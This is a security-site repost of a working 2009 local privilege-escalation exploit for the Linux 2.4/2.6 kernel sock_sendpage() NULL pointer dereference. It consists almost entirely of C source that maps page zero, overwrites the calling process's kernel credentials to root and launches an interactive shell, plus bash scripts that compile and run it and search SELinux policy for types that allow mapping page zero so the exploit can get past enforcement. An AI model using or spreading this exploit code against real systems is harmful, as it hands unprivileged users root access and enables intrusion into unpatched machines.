首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux 2.4 and 2.6 kernel sock_sendpage() NULL pointer dereference exploit
来源:http://www.risesecurity.org/ 作者:risesecurity 发布时间:2009-09-08  

-------------------exploit.c--------------------------

/*
 *  Linux sock_sendpage() NULL pointer dereference
 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
 unsigned long sp;

 asm volatile ("movq %%rsp,%0" : "=r" (sp));

 return sp;
}

#else
static __always_inline unsigned long
current_stack_pointer(void)
{
 unsigned long sp;

 asm volatile ("movl %%esp,%0" : "=r" (sp));

 return sp;
}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
 unsigned long sp;

 asm volatile ("mr %0,%%r1" : "=r" (sp));

 return sp;
}

#endif

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
 unsigned long task_struct;

 asm volatile ("movq %%gs:(0),%0" : "=r" (task_struct));

 return task_struct;
}

#else
#define TASK_RUNNING 0

static __always_inline unsigned long
current_task_struct(void)
{
 unsigned long task_struct, thread_info;

 thread_info = current_stack_pointer() & ~(4096 - 1);

 if (*(unsigned long *)thread_info >= 0xc0000000) {
  task_struct = *(unsigned long *)thread_info;

  /*
   * The TASK_RUNNING is the only possible state for a process executing
   * in user-space.
   */
  if (*(unsigned long *)task_struct == TASK_RUNNING)
   return task_struct;
 }

 /*
  * Prior to the 2.6 kernel series, the task_struct was stored at the end
  * of the kernel stack.
  */
 task_struct = current_stack_pointer() & ~(8192 - 1);

 if (*(unsigned long *)task_struct == TASK_RUNNING)
  return task_struct;

 thread_info = task_struct;

 task_struct = *(unsigned long *)thread_info;

 if (*(unsigned long *)task_struct == TASK_RUNNING)
  return task_struct;

 return 0;
}

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0

static __always_inline unsigned long
current_task_struct(void)
{
 unsigned long task_struct, thread_info;

#if defined(__LP64__)
 task_struct = current_stack_pointer() & ~(16384 - 1);

#else
 task_struct = current_stack_pointer() & ~(8192 - 1);

#endif

 if (*(unsigned long *)task_struct == TASK_RUNNING)
  return task_struct;

 thread_info = task_struct;

 task_struct = *(unsigned long *)thread_info;

 if (*(unsigned long *)task_struct == TASK_RUNNING)
  return task_struct;

 return 0;
}

#endif

#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;

static __always_inline void
change_cow_cred(void)
{
 char *task_struct;
 int i;
 unsigned int *real_cred, *cred;

 task_struct = (char *)current_task_struct();

 real_cred = NULL;
 cred = NULL;

 for (i = 0; i < 4096; i++) {
  if (!strcmp(task_struct, "exploit")) {
   /*
    * Search for unlocked count in cred_exec_mutex.
    */
   for (i = 0; i < 256; i++) {
    if (*(unsigned int *)task_struct == 1) {
     real_cred = *((unsigned int **)task_struct - 3);
     cred = *((unsigned int **)task_struct - 2);
     break;
    }

    task_struct--;
   }

   break;
  }

  task_struct++;
 }

 if (real_cred)
  for (i = 0; i < 16; i++) {
   if (real_cred[0] == uid && real_cred[1] == uid &&
     real_cred[2] == uid && real_cred[3] == uid &&
     real_cred[4] == gid && real_cred[5] == gid &&
     real_cred[6] == gid && real_cred[7] == gid) {
    real_cred[0] = real_cred[1] =
    real_cred[2] = real_cred[3] =
    real_cred[4] = real_cred[5] =
    real_cred[6] = real_cred[7] = 0;
    break;
   }

  real_cred++;
  }

 if (cred)
  for (i = 0; i < 16; i++) {
   if (cred[0] == uid && cred[1] == uid &&
     cred[2] == uid && cred[3] == uid &&
     cred[4] == gid && cred[5] == gid &&
     cred[6] == gid && cred[7] == gid) {
    cred[0] = cred[1] =
    cred[2] = cred[3] =
    cred[4] = cred[5] =
    cred[6] = cred[7] = 0;
    break;
   }

  cred++;
 }
}

#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline void
change_cow_cred(void)
{
 char *task_struct;
 int i;
 unsigned int *real_cred, *cred;

 task_struct = (char *)current_task_struct();

 real_cred = NULL;
 cred = NULL;

 for (i = 0; i < 4096; i++) {
  if (task_struct[0] == 'e' && task_struct[1] == 'x' &&
    task_struct[2] == 'p' && task_struct[3] == 'l' &&
    task_struct[4] == 'o' && task_struct[5] == 'i' &&
    task_struct[6] == 't' && task_struct[7] == '\0') {
   /*
    * Search for unlocked count in cred_exec_mutex.
    */
   for (i = 0; i < 256; i++) {
    if (*(unsigned int *)task_struct == 1) {
     real_cred = *((unsigned int **)task_struct - 3);
     cred = *((unsigned int **)task_struct - 2);
     break;
    }

    task_struct--;
   }

   break;
  }

  task_struct++;
 }

 if (real_cred)
  for (i = 0; i < 16; i++) {
   if (!real_cred[0]) {
    real_cred++;
    continue;
   }

   if (real_cred[0] == real_cred[1] &&
     real_cred[0] == real_cred[2] &&
     real_cred[0] == real_cred[3] &&
     real_cred[4] == real_cred[5] &&
     real_cred[4] == real_cred[6] &&
     real_cred[4] == real_cred[7]) {
    real_cred[0] = real_cred[1] =
    real_cred[2] = real_cred[3] =
    real_cred[4] = real_cred[5] =
    real_cred[6] = real_cred[7] = 0;
    break;
   }

   real_cred++;
  }

 if (cred)
  for (i = 0; i < 16; i++) {
   if (!cred[0]) {
    cred++;
    continue;
   }

   if (cred[0] == cred[1] &&
     cred[0] == cred[2] &&
     cred[0] == cred[3] &&
     cred[4] == cred[5] &&
     cred[4] == cred[6] &&
     cred[4] == cred[7]) {
    cred[0] = cred[1] =
    cred[2] = cred[3] =
    cred[4] = cred[5] =
    cred[6] = cred[7] = 0;
    break;
   }

   cred++;
  }
}

#endif

#if defined(__i386__) || defined(__x86_64__)
static int
change_cred(void)
{
 unsigned int *task_struct;
 int i;

 task_struct = (unsigned int *)current_task_struct();

 if (task_struct) {
  for (i = 0; i < 4096; i++) {
   if (task_struct[0] == uid && task_struct[1] == uid &&
     task_struct[2] == uid && task_struct[3] == uid &&
     task_struct[4] == gid && task_struct[5] == gid &&
     task_struct[6] == gid && task_struct[7] == gid) {
    task_struct[0] = task_struct[1] =
    task_struct[2] = task_struct[3] =
    task_struct[4] = task_struct[5] =
    task_struct[6] = task_struct[7] = 0;
    return -1;
   }

   task_struct++;
  }

  change_cow_cred();
 }

 return -1;
}

#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
 unsigned int *task_struct;
 int i;

 task_struct = (unsigned int *)current_task_struct();

 if (task_struct) {
  for (i = 0; i < 4096; i++) {
   if (!task_struct[0]) {
    task_struct++;
    continue;
   }

   if (task_struct[0] == task_struct[1] &&
     task_struct[0] == task_struct[2] &&
     task_struct[0] == task_struct[3] &&
     task_struct[4] == task_struct[5] &&
     task_struct[4] == task_struct[6] &&
     task_struct[4] == task_struct[7]) {
    task_struct[0] = task_struct[1] =
    task_struct[2] = task_struct[3] =
    task_struct[4] = task_struct[5] =
    task_struct[6] = task_struct[7] = 0;
    return -1;
   }

   task_struct++;
  }

  change_cow_cred();
 }

 return -1;
}

#endif

#if !defined(IPPROTO_SCTP)
#define IPPROTO_SCTP 132
#endif

#if !defined(PF_IUCV)
#define PF_IUCV 32
#endif

#if !defined(PF_ISDN)
#define PF_ISDN 34
#endif

int s[][3] = {
  { PF_AX25     , SOCK_DGRAM    , IPPROTO_IP   },
  { PF_IPX      , SOCK_DGRAM    , IPPROTO_IP   },
  { PF_APPLETALK, SOCK_DGRAM    , IPPROTO_IP   },
  { PF_X25      , SOCK_DGRAM    , IPPROTO_IP   },
  { PF_INET6    , SOCK_SEQPACKET, IPPROTO_SCTP },
  { PF_IRDA     , SOCK_DGRAM    , IPPROTO_IP   },
  { PF_PPPOX    , SOCK_DGRAM    , IPPROTO_IP   },
  { PF_BLUETOOTH, SOCK_DGRAM    , IPPROTO_IP   },
  { PF_IUCV     , SOCK_STREAM   , IPPROTO_IP   },
  { PF_ISDN     , SOCK_DGRAM    , IPPROTO_IP   },
  { PF_MAX      , 0             , 0            }};

#define PAGE_SIZE getpagesize()

int
main(void)
{
 char *addr;
 int i, out_fd, in_fd;
 char template[] = "/tmp/tmp.XXXXXX";

#if defined(__i386__) || defined(__x86_64__)
 uid = getuid(), gid = getgid();

#endif

 if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
   MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  perror("mmap");
  exit(EXIT_FAILURE);
 }

#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
 addr[0] = '\xff';
 addr[1] = '\x24';
 addr[2] = '\x25';
 *(unsigned long *)&addr[3] = 8;
 *(unsigned long *)&addr[8] = (unsigned long)change_cred;

#else
 addr[0] = '\xff';
 addr[1] = '\x25';
 *(unsigned long *)&addr[2] = 8;
 *(unsigned long *)&addr[8] = (unsigned long)change_cred;

#endif

#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
 /*
  * The use of function descriptors by the Power 64-bit ELF ABI requires
  * the use of a fake function descriptor.
  */
 *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;

#else
 addr[0] = '\x3f';
 addr[1] = '\xe0';
 *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
 addr[4] = '\x63';
 addr[5] = '\xff';
 *(unsigned short *)&addr[6] = (unsigned short)change_cred;
 addr[8] = '\x7f';
 addr[9] = '\xe9';
 addr[10] = '\x03';
 addr[11] = '\xa6';
 addr[12] = '\x4e';
 addr[13] = '\x80';
 addr[14] = '\x04';
 addr[15] = '\x20';

#endif

#endif

 i = 0;

 for (;;) {
  if (s[i][0] == PF_MAX) {
   perror("socket");
   exit(EXIT_FAILURE);
  }

  if (!((out_fd = socket(s[i][0], s[i][1], s[i][2])) == -1))
   break;

  i++;
 }

 if ((in_fd = mkstemp(template)) == -1) {
  perror("mkstemp");
  exit(EXIT_FAILURE);
 }

 if(unlink(template) == -1) {
  perror("unlink");
  exit(EXIT_FAILURE);
 }

 if (ftruncate(in_fd, PAGE_SIZE) == -1) {
  perror("ftruncate");
  exit(EXIT_FAILURE);
 }

 sendfile(out_fd, in_fd, NULL, PAGE_SIZE);

 execl("/bin/sh", "sh", "-i", NULL);

 exit(EXIT_SUCCESS);
}

--------------------------------run--------------------------

#!/usr/bin/env bash

EXPLOIT=./exploit
GCC=/usr/bin/gcc

if [ -x $GCC ]; then
 if [ -x $EXPLOIT ]; then
  rm -f $EXPLOIT
 fi

 MACHINE=$(uname -m)

 if [ "$MACHINE" = "x86_64" -o "$MACHINE" = "ppc64" ]; then
  $GCC -Wall -m64 -o $EXPLOIT $EXPLOIT.c
 else
  $GCC -Wall -o $EXPLOIT $EXPLOIT.c
 fi

 if [ -x $EXPLOIT ]; then
  $EXPLOIT

  if [ $? -eq 0 ]; then
   exit
  fi

  source ./runcon-mmap_zero
 fi
fi

echo "Exploit failed."

-------------------------runcon-mmap_zero-------------------

#!/usr/bin/env bash

RUNCON=/usr/bin/runcon

if [ -x $RUNCON ]; then
 SELINUX_ENFORCE=/selinux/enforce

 if [ -f $SELINUX_ENFORCE ]; then
  ENFORCE=$(cat $SELINUX_ENFORCE)
 fi

 GETENFORCE=/usr/sbin/getenforce

 if [ -x $GETENFORCE ]; then
  ENFORCE=$($GETENFORCE)
 fi

 if [ "$ENFORCE" = "1" -o "$ENFORCE" = "Enforcing" ]; then
  source ./sesearch-mmap_zero

  for TYPE in $(cat unconfined_t_trans_mmap_zero.txt); do
   $RUNCON -t $TYPE -- $EXPLOIT

   if [ $? -eq 0 ]; then
    exit
   fi
  done

  for TYPE in $(cat initrc_t_trans_mmap_zero.txt); do
   $RUNCON -t initrc_t -- $RUNCON -t $TYPE -- $EXPLOIT

   if [ $? -eq 0 ]; then
    exit
   fi
  done
 fi
fi

----------------------------sesearch-mmap_zero---------------------------

#!/usr/bin/env bash

SESEARCH=/usr/bin/sesearch
AWK=/usr/bin/awk
UNIQ=/usr/bin/uniq

if [ -x $SESEARCH ]; then
 $SESEARCH -p mmap_zero --allow \
   | $AWK '{ printf "%s\n", $2 }' | grep '_t' | sort | $UNIQ \
   > mmap_zero.txt

 $SESEARCH -s unconfined_t -c process -p transition --allow \
   | $AWK '{ printf "%s\n", $3 }' | grep '_t' | sort | $UNIQ \
   > unconfined_t_trans.txt

 $SESEARCH -s initrc_t -c process -p transition --allow \
   | $AWK '{ printf "%s\n", $3 }' | grep '_t' | sort | $UNIQ \
   > initrc_t_trans.txt

 if [ -f unconfined_t_trans_mmap_zero.txt ]; then
  rm -f unconfined_t_trans_mmap_zero.txt
 fi

 touch unconfined_t_trans_mmap_zero.txt

 for TYPE in $(cat mmap_zero.txt); do
  grep $TYPE unconfined_t_trans.txt >> unconfined_t_trans_mmap_zero.txt
 done

 if [ -f initrc_t_trans_mmap_zero.txt ]; then
  rm -f initrc_t_trans_mmap_zero.txt
 fi

 touch initrc_t_trans_mmap_zero.txt

 for TYPE in $(cat mmap_zero.txt); do
  grep $TYPE initrc_t_trans.txt >> initrc_t_trans_mmap_zero.txt
 done
fi


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ipswitch WS_FTP version 12 Pro
·Exploits Windows Vista/7 : SMB
·Safari version 3.2.3 (Win32) j
·Ipswitch WS_FTP 12 Professiona
·GemStone/S 6.3.1 "stoned" Loca
·SMB SRV2.SYS Denial of Service
·SIDVault 2.0e Windows Remote B
·Windows Vista/7 SMB2.0 Negotia
·Zeroboard 4.1 pl7 now_connect(
·HTMLDOC 1.8.27 (html File Hand
·OTSTurntables 1.00.027 (.m3u/o
·SIDVault 2.0e Windows Universa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved